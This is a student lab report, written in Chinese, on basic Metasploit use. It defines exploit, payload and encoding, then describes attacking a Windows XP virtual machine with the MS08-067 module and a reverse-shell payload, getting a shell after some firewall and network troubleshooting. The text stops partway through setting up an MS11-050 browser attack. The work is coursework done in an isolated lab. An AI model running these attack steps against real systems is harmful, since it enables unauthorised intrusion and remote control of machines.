Exp5 MSF基础应用
Exp5 MSF基础应用#
20154305 齐帅###
一、基础问题回答#
(1)用自己的话解释什么是 exploit , payload , encode.
exploit: 设相当于利用漏洞偷偷打开的管道,将做好的木马病毒等顺利传输到靶机。#####
payload: 简单来说就是病毒代码包装成一个可执行的文件,或者包装成指定的类型,然后通过管道传输进去后开始为我们控制靶机服务。#####
encode: 针对payload进行编码,就是对它进行包装打扮,改变payload代码特征,但是不改变payload为我们所用的特征,但能对payload进行加工。#####
二、实践过程#
本次试验共分为四个部分,前面两个部分真的是心力交瘁,失败的原因莫名其妙的####
- 1.一个主动攻击实践,ms08_067
- 2.一个针对浏览器的攻击,ms10_046
- 3.一个针对客户端的攻击,ms10_087
- 4.成功应用任何一个辅助模块,scanner/portscan/tcp
实验环境:
攻击机:kali_192.168.116.128
靶机:win XP sp3 EN_192.168.116.131
2.1主动攻击:ms08_067
先百度一下ms08_067漏洞的意思
这里参考学长的报告,说winxpsp3中文版没有这个漏洞,英文版才可以,所以就各种找英文版ISO,历经千辛万苦找到后开始实验了,镜像文件我发在了群里。
1.首先查看两个主机的IP地址
kali:192.168.239.131(不是最终实验环境)
WinXP:192.168.239.138(不是最终实验环境)
2.kali主机键入search ms08_067
查看漏洞信息
键入use exploit/...
,如图,使用exploit
3.然后键入show payloads
看一下我们需要的payload
此处我们键入set payload generic/shell_reverse_tcp
选择病毒模块
show options
查看需要的信息,进行相应设置
4.键入show targets
查看适用的靶机版本,可以set target 0
自动选择
5.设置好以后就可以见图exploit
进行攻击了
连接不上靶机,攻击失败 Num=1
第一反应是靶机445端口没有开放
查看主机端口,445端口开放,可是IP地址都是0,当时我也没注意
然后又互相ping一下,发现WinXP可以ping通kali,但是kali却ping不通WinXP,那应该是防火请拦截了?
百度了一下,发现WinXP防火墙默认拦截ping包,ok,那关闭防火墙吧
再进行攻击,Sad,还是失败,这次说的什么?意思是版本不对? 失败!Num=2
不过我觉的版本没有问题啊,ps,两个虚拟机我这个电脑太卡了额,于是乎换了一个高配的电脑,才导致IP地址发生了变化
同样的套路,查看两个主机IP地址
winxp:192.168.116.131
kali:192.168.116.128
同样的操作攻击一下
Wow!!竟然成功了,这是为什么?我虚拟机都是从我另一个电脑直接拷贝的呀。。。神奇。获取为了win主机shell,操作一波证实没有问题。
2.2一个针对浏览器的攻击
ms11_050(失败了)
1.先百度一下,然后在msf中键入search ms11_050
2.然后还是和上一个漏洞攻击操作步骤类似,键入use expliot/windows、...
上图中的名字
3.查看payload,然后选择病毒模块set payload windows dllinject/reverse_http
浏览器攻击,那么选一个http协议的